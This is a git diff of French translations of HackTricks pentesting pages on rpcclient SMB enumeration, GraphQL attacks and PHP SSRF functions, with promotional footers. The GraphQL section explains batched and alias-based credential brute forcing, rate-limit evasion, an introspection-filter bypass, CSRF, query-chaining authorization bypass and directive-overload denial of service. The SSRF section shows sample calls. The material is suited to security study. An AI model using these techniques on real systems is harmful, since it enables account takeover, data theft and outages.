- Les **RID** sont ajoutés aux SID pour créer des identifiants uniques pour les objets au sein de ces domaines. Cette combinaison permet un suivi précis et une gestion des autorisations et des contrôles d'accès des objets.
- Les **SIDs** servent d'identifiants uniques pour les domaines, garantissant que chaque domaine est distinguable.
- Les **RIDs** sont ajoutés aux SIDs pour créer des identifiants uniques pour les objets au sein de ces domaines. Cette combinaison permet un suivi précis et une gestion des autorisations et des contrôles d'accès des objets.
Par exemple, un utilisateur nommé `pepe` pourrait avoir un identifiant unique combinant le SID du domaine avec son RID spécifique, représenté à la fois en hexadécimal (`0x457`) et en décimal (`1111`). Cela donne un identifiant complet et unique pour pepe dans le domaine comme : `S-1-5-21-1074507654-1937615267-42093643874-1111`.
@ -36,11 +36,11 @@ L'utilitaire **`rpcclient`** de Samba est utilisé pour interagir avec les **poi
#### Informations sur le serveur
* Pour obtenir les **Informations sur le serveur**: la commande `srvinfo` est utilisée.
* Pour obtenir les **informations sur le serveur** : la commande `srvinfo` est utilisée.
#### Énumération des utilisateurs
* Les **utilisateurs peuvent être listés** en utilisant : les commandes `querydispinfo` et `enumdomusers`.
* Les **utilisateurs peuvent être listés** en utilisant : `querydispinfo` et `enumdomusers`.
* Les **détails d'un utilisateur** avec : `queryuser <0xrid>`.
* Les **groupes d'un utilisateur** avec : `queryusergroups <0xrid>`.
* Le **SID d'un utilisateur est récupéré** via : `lookupnames <nom_utilisateur>`.
@ -68,20 +68,20 @@ done
* **Domaines** avec: `enumdomains`.
* **SID d'un domaine est récupéré** avec: `lsaquery`.
* **Informations sur le domaine sont obtenues** avec: `querydominfo`.
* **Informations sur un domaine sont obtenues** avec: `querydominfo`.
#### Énumération des Partages
* **Tous les partages disponibles** avec: `netshareenumall`.
* **Informations sur un partage spécifique** avec: `netsharegetinfo <share>`.
#### Opérations Additionnelles avec les SIDs
#### Opérations supplémentaires avec les SIDs
* **SIDs par nom** avec: `lookupnames <username>`.
* **Plus de SIDs** avec: `lsaenumsid`.
* **Cycle RID pour vérifier plus de SIDs** avec: `lookupsids <sid>`.
#### **Commandes Supplémentaires**
#### **Commandes supplémentaires**
| **Commande** | **Interface** | **Description** |
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
@ -93,7 +93,7 @@ done
| createdomuser | Créer un utilisateur de domaine | |
| deletedomuser | Supprimer un utilisateur de domaine | |
| lookupnames | LSARPC | Rechercher les noms d'utilisateur pour les valeurs SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
| lookupsids | Rechercher les SID pour les noms d'utilisateur (cycle RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
| lookupsids | Rechercher les SIDs pour les noms d'utilisateur (cycle RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
| lsaaddacctrights | Ajouter des droits à un compte utilisateur | |
| lsaremoveacctrights | Supprimer des droits d'un compte utilisateur | |
| dsroledominfo | LSARPC-DS | Obtenir des informations sur le domaine principal |
@ -101,9 +101,9 @@ done
Pour **mieux comprendre** comment les outils _**samrdump**_ **et** _**rpcdump**_ fonctionnent, vous devriez lire [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
**Groupe de Sécurité Try Hard**
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -111,10 +111,10 @@ Pour **mieux comprendre** comment les outils _**samrdump**_ **et** _**rpcdump**_
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez** le [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -9,8 +9,8 @@ Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
@ -26,14 +26,14 @@ Avec l'avènement de nouvelles technologies, y compris GraphQL, de nouvelles vul
Pour identifier les instances GraphQL exposées, l'inclusion de chemins spécifiques dans des attaques de force brute de répertoire est recommandée. Ces chemins sont :
- `/graphql`
- `/graphiql`
- `/graphql.php`
- `/graphql/console`
- `/api`
- `/api/graphql`
- `/graphql/api`
- `/graphql/graphql`
* `/graphql`
* `/graphiql`
* `/graphql.php`
* `/graphql/console`
* `/api`
* `/api/graphql`
* `/graphql/api`
* `/graphql/graphql`
Identifier les instances GraphQL ouvertes permet d'examiner les requêtes prises en charge. Cela est crucial pour comprendre les données accessibles via le point de terminaison. Le système d'introspection de GraphQL facilite cela en détaillant les requêtes qu'un schéma prend en charge. Pour plus d'informations à ce sujet, consultez la documentation GraphQL sur l'introspection : [**GraphQL : Un langage de requête pour les API.**](https://graphql.org/learn/introspection/)
@ -49,7 +49,7 @@ query{__typename}
```
### Énumération de base
Graphql prend généralement en charge **GET**, **POST** (x-www-form-urlencoded) et **POST**(json). Bien qu'il soit recommandé, pour des raisons de sécurité, de n'autoriser que le format json pour éviter les attaques CSRF.
Graphql prend généralement en charge **GET**, **POST** (x-www-form-urlencoded) et **POST**(json). Bien que pour des raisons de sécurité, il est recommandé de n'autoriser que le json pour prévenir les attaques CSRF.
#### Introspection
@ -187,11 +187,11 @@ Si l'introspection est activée, vous pouvez utiliser [**GraphQL Voyager**](http
Maintenant que nous savons quel type d'informations est stocké dans la base de données, essayons d'**extraire certaines valeurs**.
Dans l'introspection, vous pouvez trouver **quels objets vous pouvez interroger directement** (car vous ne pouvez pas interroger un objet simplement parce qu'il existe). Dans l'image suivante, vous pouvez voir que le "_queryType_" s'appelle "_Query_" et qu'un des champs de l'objet "_Query_" est "_flags_", qui est également un type d'objet. Par conséquent, vous pouvez interroger l'objet de drapeau.
Dans l'introspection, vous pouvez trouver **quels objets vous pouvez interroger directement** (car vous ne pouvez pas interroger un objet juste parce qu'il existe). Dans l'image suivante, vous pouvez voir que le "_queryType_" est appelé "_Query_" et qu'un des champs de l'objet "_Query_" est "_flags_", qui est également un type d'objet. Par conséquent, vous pouvez interroger l'objet de drapeau.
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png)
Notez que le type de la requête "_flags_" est "_Flags_", et cet objet est défini comme suit :
Notez que le type de la requête "_flags_" est "_Flags_", et que cet objet est défini comme suit :
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png)
@ -201,14 +201,14 @@ query={flags{name, value}}
```
Notez que dans le cas où l'**objet à interroger** est un **type primitif** comme une **chaîne de caractères** comme dans l'exemple suivant
![](<../../.gitbook/assets/image (441).png>)
![](<../../.gitbook/assets/image (441).png>)
Vous pouvez simplement interroger avec:
```javascript
query={hiddenFlags}
```
Dans un autre exemple où il y avait 2 objets à l'intérieur de l'objet "_Query_" : "_user_" et "_users_".\
Si ces objets n'ont pas besoin d'arguments pour être recherchés, vous pouvez **récupérer toutes les informations à partir d'eux** en demandant simplement les données que vous voulez. Dans cet exemple sur Internet, vous pourriez extraire les noms d'utilisateur et les mots de passe enregistrés :
Dans un autre exemple où il y avait 2 objets à l'intérieur de l'objet de type "_Query_" : "_user_" et "_users_".\
Si ces objets n'ont pas besoin d'arguments pour être recherchés, vous pouvez **récupérer toutes les informations à leur sujet** en demandant simplement les données que vous voulez. Dans cet exemple sur Internet, vous pourriez extraire les noms d'utilisateur et les mots de passe enregistrés :
![](<../../.gitbook/assets/image (208).png>)
@ -216,12 +216,12 @@ Cependant, dans cet exemple, si vous essayez de le faire, vous obtenez cette **e
![](<../../.gitbook/assets/image (210).png>)
On dirait qu'il va rechercher en utilisant l'argument "_**uid**_" de type _**Int**_.\
Quoi qu'il en soit, nous savions déjà que, dans la section [Énumération de base](graphql.md#basic-enumeration), une requête a été proposée qui nous montrait toutes les informations nécessaires : `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Il semble qu'il effectuera la recherche en utilisant l'argument "_**uid**_" de type _**Int**_.\
Quoi qu'il en soit, nous savions déjà que, dans la section [Énumération de base](graphql.md#basic-enumeration), une requête avait été proposée qui nous montrait toutes les informations nécessaires : `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Si vous lisez l'image fournie lorsque j'ai exécuté cette requête, vous verrez que "_**user**_" avait l'**arg** "_**uid**_" de type _Int_.
Ainsi, en effectuant une légère attaque par force brute sur l'_**uid**_, j'ai découvert qu'avec _**uid**=**1**_ un nom d'utilisateur et un mot de passe ont été récupérés :\
Ainsi, en effectuant une légère attaque par force brute sur l'_**uid**_, j'ai découvert qu'avec l'_**uid**=**1**_, un nom d'utilisateur et un mot de passe ont été récupérés :\
`query={user(uid:1){user,password}}`
![](<../../.gitbook/assets/image (211).png>)
@ -234,7 +234,7 @@ Et lors de la phase d'**énumération**, j'ai découvert que l'objet "_**dbuser*
**Astuce de vidage de chaîne de requête (merci à @BinaryShadow\_)**
Si vous pouvez rechercher par un type chaîne, comme : `query={theusers(description: ""){username,password}}` et que vous **recherchez une chaîne vide**, cela **videra toutes les données**. (_Notez que cet exemple n'est pas lié à l'exemple des tutoriels, pour cet exemple, supposez que vous pouvez rechercher en utilisant "**theusers**" par un champ de type chaîne appelé "**description**"_).
Si vous pouvez rechercher par un type chaîne de caractères, comme : `query={theusers(description: ""){username,password}}` et que vous **recherchez une chaîne vide**, cela **videra toutes les données**. (_Notez que cet exemple n'est pas lié à l'exemple des tutoriels, pour cet exemple, supposez que vous pouvez rechercher en utilisant "**theusers**" par un champ de type chaîne de caractères appelé "**description**"_).
### Recherche
@ -300,7 +300,7 @@ name
**Les mutations sont utilisées pour effectuer des changements côté serveur.**
Dans l'**introspection**, vous pouvez trouver les **mutations** **déclarées**. Dans l'image suivante, "_MutationType_" est appelé "_Mutation_" et l'objet "_Mutation_" contient les noms des mutations (comme "_addPerson_" dans ce cas) :
Dans l'**introspection**, vous pouvez trouver les **mutations** **déclarées**. Dans l'image suivante, le "_MutationType_" est appelé "_Mutation_" et l'objet "_Mutation_" contient les noms des mutations (comme "_addPerson_" dans ce cas) :
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png)
@ -317,7 +317,7 @@ rating
}
}
```
**Notez comment à la fois les valeurs et le type de données sont indiqués dans la requête.**
**Notez comment les valeurs et le type de données sont indiqués dans la requête.**
De plus, la base de données prend en charge une opération de **mutation**, nommée `addPerson`, qui permet la création de **personnes** ainsi que leur association à des **amis** et des **films** existants. Il est crucial de noter que les amis et les films doivent préexister dans la base de données avant de les lier à la personne nouvellement créée.
```javascript
@ -347,32 +347,36 @@ releaseYear
}
}
```
### Regroupement de la force brute dans 1 requête API
### Surcharge de directive
Comme expliqué dans [**l'une des vulnérabilités décrites dans ce rapport**](https://www.landh.tech/blog/20240304-google-hack-50000/), une surcharge de directive implique d'appeler une directive même des millions de fois pour amener le serveur à gaspiller des opérations jusqu'à ce qu'il soit possible de le soumettre à une attaque par déni de service (DoS).
### Force brute par lots en 1 requête API
Ces informations ont été prises sur [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Authentification via l'API GraphQL en **envoyant simultanément de nombreuses requêtes avec des identifiants différents** pour les vérifier. Il s'agit d'une attaque de force brute classique, mais il est maintenant possible d'envoyer plus d'une paire de login/mot de passe par requête HTTP en raison de la fonctionnalité de regroupement de GraphQL. Cette approche tromperait les applications de surveillance des taux externes en leur faisant croire que tout va bien et qu'il n'y a pas de bot de force brute essayant de deviner des mots de passe.
L'authentification via l'API GraphQL consiste à **envoyer simultanément de nombreuses requêtes avec des identifiants différents** pour les vérifier. Il s'agit d'une attaque de force brute classique, mais il est maintenant possible d'envoyer plus d'une paire de login/mot de passe par requête HTTP en raison de la fonctionnalité de lotissement de GraphQL. Cette approche tromperait les applications de surveillance des taux externes en leur faisant croire que tout va bien et qu'il n'y a pas de robot de force brute essayant de deviner des mots de passe.
Ci-dessous, vous trouverez la démonstration la plus simple d'une requête d'authentification d'application, avec **3 paires d'email/mot de passe différents à la fois**. Il est évidemment possible d'en envoyer des milliers en une seule requête de la même manière :
Ci-dessous, vous trouverez la démonstration la plus simple d'une demande d'authentification d'application, avec **3 paires d'adresses e-mail/mot de passe différentes à la fois**. Il est évidemment possible d'en envoyer des milliers en une seule requête de la même manière :
![](<../../.gitbook/assets/image (182) (1).png>)
Comme nous pouvons le voir sur la capture d'écran de la réponse, les première et troisième requêtes ont renvoyé _null_ et ont reflété les informations correspondantes dans la section _error_. La **deuxième mutation avait les données d'authentification correctes** et la réponse contenait le jeton de session d'authentification correct.
Comme le montre la capture d'écran de la réponse, les première et troisième requêtes ont renvoyé _null_ et ont reflété les informations correspondantes dans la section _error_. La **deuxième mutation avait les données d'authentification correctes** et la réponse contenait le jeton de session d'authentification correct.
![](<../../.gitbook/assets/image (119) (1).png>)
## GraphQL Sans Introspection
## GraphQL sans introspection
De plus en plus de **points de terminaison graphql désactivent l'introspection**. Cependant, les erreurs que graphql renvoie lorsqu'une requête inattendue est reçue sont suffisantes pour des outils comme [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) pour recréer la majeure partie du schéma.
De plus en plus de **points de terminaison GraphQL désactivent l'introspection**. Cependant, les erreurs que GraphQL renvoie lorsqu'une requête inattendue est reçue sont suffisantes pour des outils comme [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) pour recréer la majeure partie du schéma.
De plus, l'extension Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observe les requêtes d'API GraphQL passant par Burp** et **construit** un schéma GraphQL **interne** à chaque nouvelle requête qu'il voit. Il peut également exposer le schéma pour GraphiQL et Voyager. L'extension renvoie une fausse réponse lorsqu'elle reçoit une requête d'introspection. En conséquence, GraphQuail affiche toutes les requêtes, arguments et champs disponibles pour une utilisation dans l'API. Pour plus d'informations, [**consultez ceci**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
De plus, l'extension Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observe les requêtes d'API GraphQL passant par Burp** et **construit** un schéma GraphQL interne à chaque nouvelle requête qu'il voit. Il peut également exposer le schéma pour GraphiQL et Voyager. L'extension renvoie une fausse réponse lorsqu'elle reçoit une requête d'introspection. En conséquence, GraphQuail affiche toutes les requêtes, arguments et champs disponibles pour une utilisation dans l'API. Pour plus d'informations, [**consultez ceci**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Une **liste de mots** intéressante pour découvrir les [**entités GraphQL peut être trouvée ici**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Contournement des défenses d'introspection GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
### **Contournement des Défenses d'Introspection GraphQL**
### **Contournement des défenses d'introspection GraphQL**
Pour contourner les restrictions sur les requêtes d'introspection dans les API, l'insertion d'un **caractère spécial après le mot-clé `__schema`** s'avère efficace. Cette méthode exploite les erreurs courantes des développeurs dans les modèles regex qui visent à bloquer l'introspection en se concentrant sur le mot-clé `__schema`. En ajoutant des caractères comme des **espaces, des sauts de ligne et des virgules**, que GraphQL ignore mais qui pourraient ne pas être pris en compte dans les regex, les restrictions peuvent être contournées. Par exemple, une requête d'introspection avec un saut de ligne après `__schema` peut contourner de telles défenses:
Pour contourner les restrictions sur les requêtes d'introspection dans les API, l'insertion d'un **caractère spécial après le mot-clé `__schema`** s'avère efficace. Cette méthode exploite les erreurs courantes des développeurs dans les modèles regex qui visent à bloquer l'introspection en se concentrant sur le mot-clé `__schema`. En ajoutant des caractères comme des **espaces, des sauts de ligne et des virgules**, que GraphQL ignore mais qui pourraient ne pas être pris en compte dans les regex, les restrictions peuvent être contournées. Par exemple, une requête d'introspection avec un saut de ligne après `__schema` peut contourner de telles défenses :
```bash
# Example with newline to bypass
{
@ -380,7 +384,7 @@ Pour contourner les restrictions sur les requêtes d'introspection dans les API,
{queryType{name}}}"
}
```
Si cela échoue, envisagez des méthodes de requête alternatives, telles que les **requêtes GET** ou **POST avec `x-www-form-urlencoded`**, car des restrictions peuvent s'appliquer uniquement aux requêtes POST.
Si cela échoue, envisagez des méthodes de requête alternatives, telles que les **requêtes GET** ou les **POST avec `x-www-form-urlencoded`**, car des restrictions peuvent s'appliquer uniquement aux requêtes POST.
### **Découverte des structures GraphQL exposées**
@ -404,7 +408,7 @@ Notez que les requêtes GraphQL sont généralement envoyées via des requêtes
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
Cependant, la plupart des points de terminaison GraphQL prennent également en charge les requêtes POST **`form-urlencoded` :**
Cependant, la plupart des points de terminaison GraphQL prennent également en charge les **requêtes POST** **`form-urlencoded` :**
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
@ -412,7 +416,7 @@ Par conséquent, comme les requêtes CSRF comme les précédentes sont envoyées
Cependant, notez que la nouvelle valeur par défaut du cookie pour le drapeau `samesite` de Chrome est `Lax`. Cela signifie que le cookie ne sera envoyé que depuis un site web tiers dans les requêtes GET.
Notez qu'il est généralement possible d'envoyer la **requête** de **query** également en tant que requête **GET et que le jeton CSRF pourrait ne pas être validé dans une requête GET.**
Notez qu'il est généralement possible d'envoyer la **requête** **query** également en tant que requête **GET et que le jeton CSRF pourrait ne pas être validé dans une requête GET.**
De plus, en abusant d'une [attaque **XS-Search**](../../pentesting-web/xs-search.md), il pourrait être possible d'extraire du contenu de l'endpoint GraphQL en abusant des informations d'identification de l'utilisateur.
@ -432,23 +436,23 @@ Une mutation pourrait même entraîner une prise de contrôle de compte en essay
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```
### Contournement de l'autorisation en GraphQL
### Contourner l'autorisation en GraphQL
[Chainer des requêtes](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) peut contourner un système d'authentification faible.
Dans l'exemple ci-dessous, vous pouvez voir que l'opération est "forgotPassword" et qu'elle ne devrait exécuter que la requête forgotPassword qui lui est associée. Cela peut être contourné en ajoutant une requête à la fin, dans ce cas, nous ajoutons "register" et une variable utilisateur pour que le système s'enregistre en tant que nouvel utilisateur.
Dans l'exemple ci-dessous, vous pouvez voir que l'opération est "forgotPassword" et qu'elle ne devrait exécuter que la requête forgotPassword qui lui est associée. Cela peut être contourné en ajoutant une requête à la fin, dans ce cas, nous ajoutons "register" et une variable utilisateur pour que le système s'inscrive en tant que nouvel utilisateur.
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## Contournement des limites de taux en utilisant des alias en GraphQL
## Contourner les limites de taux en utilisant des alias en GraphQL
En GraphQL, les alias sont une fonctionnalité puissante qui permet de **nommer explicitement les propriétés** lors de l'envoi d'une requête API. Cette capacité est particulièrement utile pour récupérer **plusieurs instances du même type** d'objet dans une seule requête. Les alias peuvent être utilisés pour surmonter la limitation qui empêche les objets GraphQL d'avoir plusieurs propriétés portant le même nom.
En GraphQL, les alias sont une fonctionnalité puissante qui permet de **nommer explicitement les propriétés** lors de l'envoi d'une requête API. Cette capacité est particulièrement utile pour récupérer **plusieurs instances du même type** d'objet dans une seule requête. Les alias peuvent être utilisés pour surmonter la limitation qui empêche les objets GraphQL d'avoir plusieurs propriétés avec le même nom.
Pour une compréhension détaillée des alias GraphQL, la ressource suivante est recommandée : [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Alors que l'objectif principal des alias est de réduire la nécessité de nombreuses appels API, un cas d'utilisation non intentionnel a été identifié où les alias peuvent être exploités pour exécuter des attaques par force brute sur un point de terminaison GraphQL. Cela est possible car certains points de terminaison sont protégés par des limiteurs de taux conçus pour contrer les attaques par force brute en limitant le **nombre de requêtes HTTP**. Cependant, ces limiteurs de taux pourraient ne pas tenir compte du nombre d'opérations dans chaque requête. Étant donné que les alias permettent d'inclure plusieurs requêtes dans une seule requête HTTP, ils peuvent contourner de telles mesures de limitation de taux.
Alors que l'objectif principal des alias est de réduire la nécessité de nombreuses appels API, un cas d'utilisation non intentionnel a été identifié où les alias peuvent être exploités pour exécuter des attaques par force brute sur un point de terminaison GraphQL. Cela est possible car certains points de terminaison sont protégés par des limiteurs de taux conçus pour contrer les attaques par force brute en restreignant le **nombre de requêtes HTTP**. Cependant, ces limiteurs de taux pourraient ne pas tenir compte du nombre d'opérations dans chaque requête. Étant donné que les alias permettent d'inclure plusieurs requêtes dans une seule requête HTTP, ils peuvent contourner de telles mesures de limitation de taux.
Considérez l'exemple fourni ci-dessous, qui illustre comment les requêtes alias peuvent être utilisées pour vérifier la validité des codes de réduction de magasin. Cette méthode pourrait contourner la limitation de taux car elle regroupe plusieurs requêtes en une seule requête HTTP, permettant potentiellement de vérifier simultanément de nombreux codes de réduction.
Considérez l'exemple fourni ci-dessous, qui illustre comment les requêtes aliasées peuvent être utilisées pour vérifier la validité des codes de réduction de magasin. Cette méthode pourrait contourner la limitation de taux car elle compile plusieurs requêtes en une seule requête HTTP, permettant potentiellement de vérifier simultanément de nombreux codes de réduction.
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
@ -503,7 +507,7 @@ Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -8,15 +8,15 @@ Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ Autres façons de soutenir HackTricks:
### Fonctions PHP SSRF
Certaines fonctions telles que **file\_get\_contents(), fopen(), file(), md5\_file()** acceptent des URL en entrée qu'elles suivront, ce qui rend **possibles les vulnérabilités SSRF** si l'utilisateur peut contrôler les données:
Certaines fonctions telles que **file\_get\_contents(), fopen(), file(), md5\_file()** acceptent des URL en entrée qu'elles suivront, ce qui rend les **vulnérabilités SSRF possibles** si l'utilisateur peut contrôler les données:
```php
file_get_contents("http://127.0.0.1:8081");
fopen("http://127.0.0.1:8081", "r");
@ -70,7 +70,7 @@ $file = file_get_contents($url, false, $context);
```
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -81,10 +81,10 @@ $file = file_get_contents($url, false, $context);
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
